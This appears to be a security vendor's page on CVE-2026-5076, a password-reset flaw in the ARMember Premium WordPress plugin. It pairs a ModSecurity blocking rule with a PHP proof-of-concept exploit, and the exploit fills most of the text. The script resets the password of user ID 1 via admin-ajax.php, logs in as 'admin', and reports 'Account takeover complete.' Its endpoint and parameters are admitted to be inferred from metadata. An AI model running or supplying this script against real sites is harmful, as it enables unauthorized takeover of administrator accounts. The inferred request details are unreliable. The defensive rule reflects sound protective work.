CVE-2026-5076: ARMember Premium <= 7.3.1 Insecure Password Reset Mechanism to Unauthenticated Privilege Escalation PoC, Patch Analysis & Rule

# Atomic Edge WAF Rule - CVE-2026-5076 (metadata-based)
# Block password reset requests to the ARMember custom action 'armrp' with a plaintext key parameter
# This targets the insecure mechanism that bypasses core password reset validation
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20265076,phase:2,deny,status:403,chain,msg:'CVE-2026-5076 - ARMember Insecure Password Reset',severity:'CRITICAL',tag:'CVE-2026-5076',tag:'wordpress',tag:'armember'"
    SecRule ARGS_POST:action "@streq armrp" 
        "chain"
        SecRule ARGS_POST:key "@rx ^.{32,}$" "t:none"

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-5076 - ARMember Premium <= 7.3.1 - Insecure Password Reset Mechanism to Unauthenticated Privilege Escalation

// This PoC assumes the attacker has already obtained the plaintext password reset key
// (e.g., via an SQL injection vulnerability like CVE-2026-5073 or CVE-2026-5074).
// The script uses target user ID and the plaintext key to reset the password and gain access.

$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress site URL
$user_id = 1; // Target user ID (e.g., admin)
$plaintext_reset_key = 'obtained_plaintext_key_here'; // Obtained from arm_reset_password_key user meta
$new_password = 'P@ssw0rd_12345'; // New password to set

// Step 1: Send password reset request via ARMember's custom mechanism
// Inferred endpoint: admin-ajax.php with action 'armrp'
$reset_url = $target_url . '/wp-admin/admin-ajax.php';
$reset_data = array(
    'action' => 'armrp',
    'user_id' => $user_id,
    'key' => $plaintext_reset_key, // Plaintext key stored in wp_usermeta
    'password' => $new_password
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $reset_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($reset_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, ''); // No cookies needed
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

if ($http_code == 200 && strpos($response, 'success') !== false) {
    echo "[+] Password reset successful for user ID $user_id.n";
    echo "[+] New password: $new_passwordn";
} else {
    echo "[-] Password reset failed. HTTP code: $http_coden";
    echo "[-] Response: $responsen";
}

// Step 2: Attempt to log in with new credentials (optional verification)
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => 'admin', // Assuming target username is 'admin'; adjust as needed
    'pwd' => $new_password,
    'wp-submit' => 'Log In'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
$login_response = curl_exec($ch);
curl_close($ch);

if (preg_match('/wordpress_logged_in/', $login_response)) {
    echo "[+] Login successful with new credentials. Account takeover complete.n";
} else {
    echo "[-] Login verification failed. Check username or site configuration.n";
}